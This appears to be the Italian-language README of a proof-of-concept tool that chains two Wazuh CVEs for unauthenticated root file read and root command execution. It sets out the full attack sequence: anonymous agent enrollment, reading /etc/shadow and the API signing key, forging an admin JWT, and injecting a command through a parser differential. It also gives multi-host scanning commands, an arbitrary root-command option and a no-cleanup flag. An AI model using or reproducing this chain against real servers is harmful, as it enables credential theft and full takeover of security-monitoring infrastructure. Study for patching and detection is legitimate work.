
PoC Wazuh che concatena CVE-2026-74034 (lettura di file) e CVE-2026-74041 (esecuzione di comandi); corretto in 4.14.8. Solo libreria standard di Python.
PoC multi-host in un singolo file, solo stdlib, che concatena CVE-2026-74034 e CVE-2026-74041. Entrambi gli advisory sono stati pubblicati il 13 ottobre 2026; le correzioni sono state distribuite in Wazuh 4.14.8 il 23 settembre 2026. La versione 4.14.8 è la release corretta, non un target vulnerabile.
Lo script implementa la seguente catena quando i servizi del manager richiesti sono raggiungibili e l'arruolamento degli agenti senza password è abilitato:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
Non sono necessarie credenziali preesistenti quando l'arruolamento authd senza password fornito di default è raggiungibile (<auth><use_password>no</use_password>).
Una password di arruolamento o un certificato client obbligatorio modifica questa precondizione.
CVE-2026-74041 da sola richiede un utente API autenticato con permesso di aggiornamento della configurazione; in questa catena, l'accesso all'API segue la divulgazione della chiave di firma.
| CVE | CVSS / vettore | Affected | Sintesi |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | parameters.file_path di upgrade_custom viene aperto da ROOT wm_agent_upgrade con solo un controllo di esistenza tramite wfopen() e restituito in streaming all'agente arruolato → lettura arbitraria di file come root |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands accetta un <LOG_FORMAT> in maiuscolo che il validatore Python case-sensitive non rileva ma che il logcollector C case-insensitive onora → full_command localfile come root |
I due intervalli di versioni descrivono i singoli difetti; la sovrapposizione documentata
per la catena completa è >=4.14.3 <4.14.8. Altri avvisi sono al di fuori di questo PoC.
pip, niente pycryptodome, niente cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Flag | Predefinito | Significato |
|---|---|---|
--port | 55000 | porta della REST API di Wazuh |
--authd-port | 1515 | porta di enrollment di authd |
--remoted-port | 1514 | porta del canale sicuro degli agenti |
--timeout | 10 | timeout del socket (s) |
--agent-name | poc-<rand8> | nome registrato sul manager |
--cmd | (id; hostname) > …/zz_pwned | comando root della fase 4 |
--no-rce | disattivato | salta la fase 4 |
--keep | disattivato | non ripristinare ossec.conf / eliminare il marker |
--debug | disattivato | esegue il dump dei messaggi del protocollo |
--threads | 5 | parallelismo sugli host |
--api-user | wazuh | nome utente da inserire nel JWT falsificato |
L'uscita è sempre gestita correttamente per ogni host: un rifiuto, un authd protetto da password, una versione corretta o una mancata corrispondenza crittografica vengono segnalati con il punto di blocco esatto e l'esecuzione continua con gli host rimanenti.
Sonda TCP 55000 (API), 1515 (authd), 1514 (remoted). Richiede GET / con
verifica TLS disabilitata e riporta api_version quando l'API la espone
senza autenticazione. Nelle build rafforzate GET / restituisce 401; la versione
reale del manager viene quindi recuperata nella fase 3 da /var/ossec/VERSION.json e confrontata con
4.14.8.
Connessione TLS (authd 4.4+ è solo TLS; lo script ritenta anche TCP semplice per
build molto vecchie), poi OSSEC A:'<name>'\n. Il manager risponde
OSSEC K:'<id> <name> <ip> <key>'; lo script conserva la chiave agente di 64 caratteri esadecimali.
Riproduce la crittografia dell'agente Wazuh da src/os_crypto/shared/msgs.c:
[4-byte little-endian length][payload]!<id>!#AES:<ciphertext> per agenti dinamici (ip=any)MD5(agent_key_hex) (32 byte ASCII), IV FEDCBA0987654321,
PKCS#7!…! + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)Invia #!-agent startup {"version":"v4.14.6"} e un keepalive che trasporta la
piattaforma/architettura Ubuntu in modo che l'agente diventi active nel DB globale, poi un task in coda u
(UPGRADE_MQ):
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd lo inoltra a WM_UPGRADE_SOCK; il wazuh-modulesd ROOT apre il file
(wfopen, nessun controllo di percorso/estensione/firma) e restituisce i byte grezzi come
chunk write in base64. Lo script li riassembla e stampa righe [ACC] in tempo reale:
| file | gestione |
|---|---|
/etc/shadow | solo righe root: / wazuh: (hash stampato per intero) |
/var/ossec/etc/client.keys | completo (troncato a 25 righe, byte contati) |
/var/ossec/etc/authd.pass | completo (assente quando l'enrollment è anonimo) |
/var/ossec/api/configuration/security/private_key.pem | completo |
/var/ossec/etc/ossec.conf | <key> del cluster, credenziali dell'indexer, password <auth> |
/var/ossec/VERSION.json | fallback della versione per la ricognizione |
Tra un file e l'altro lo script invia upgrade_update_status (altrimenti il task manager
mantiene l'agente In progress e rifiuta il task successivo).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Verificato tramite GET /agents.GET /manager/configuration?raw=true, inserisci prima dell'ultimo
</ossec_config> un <localfile> con un esca in minuscolo <log_format>syslog</log_format>
e un <LOG_FORMAT>full_command</LOG_FORMAT> in maiuscolo più il comando.PUT /manager/configuration (application/octet-stream), poi PUT /manager/restart.GET /lists/files/zz_pwned?raw=true per l'output del comando root.--keep: PUT dell'ossec.conf originale, riavvio e
DELETE /lists/files/zz_pwned (con tentativi ripetuti finché il marker non scompare).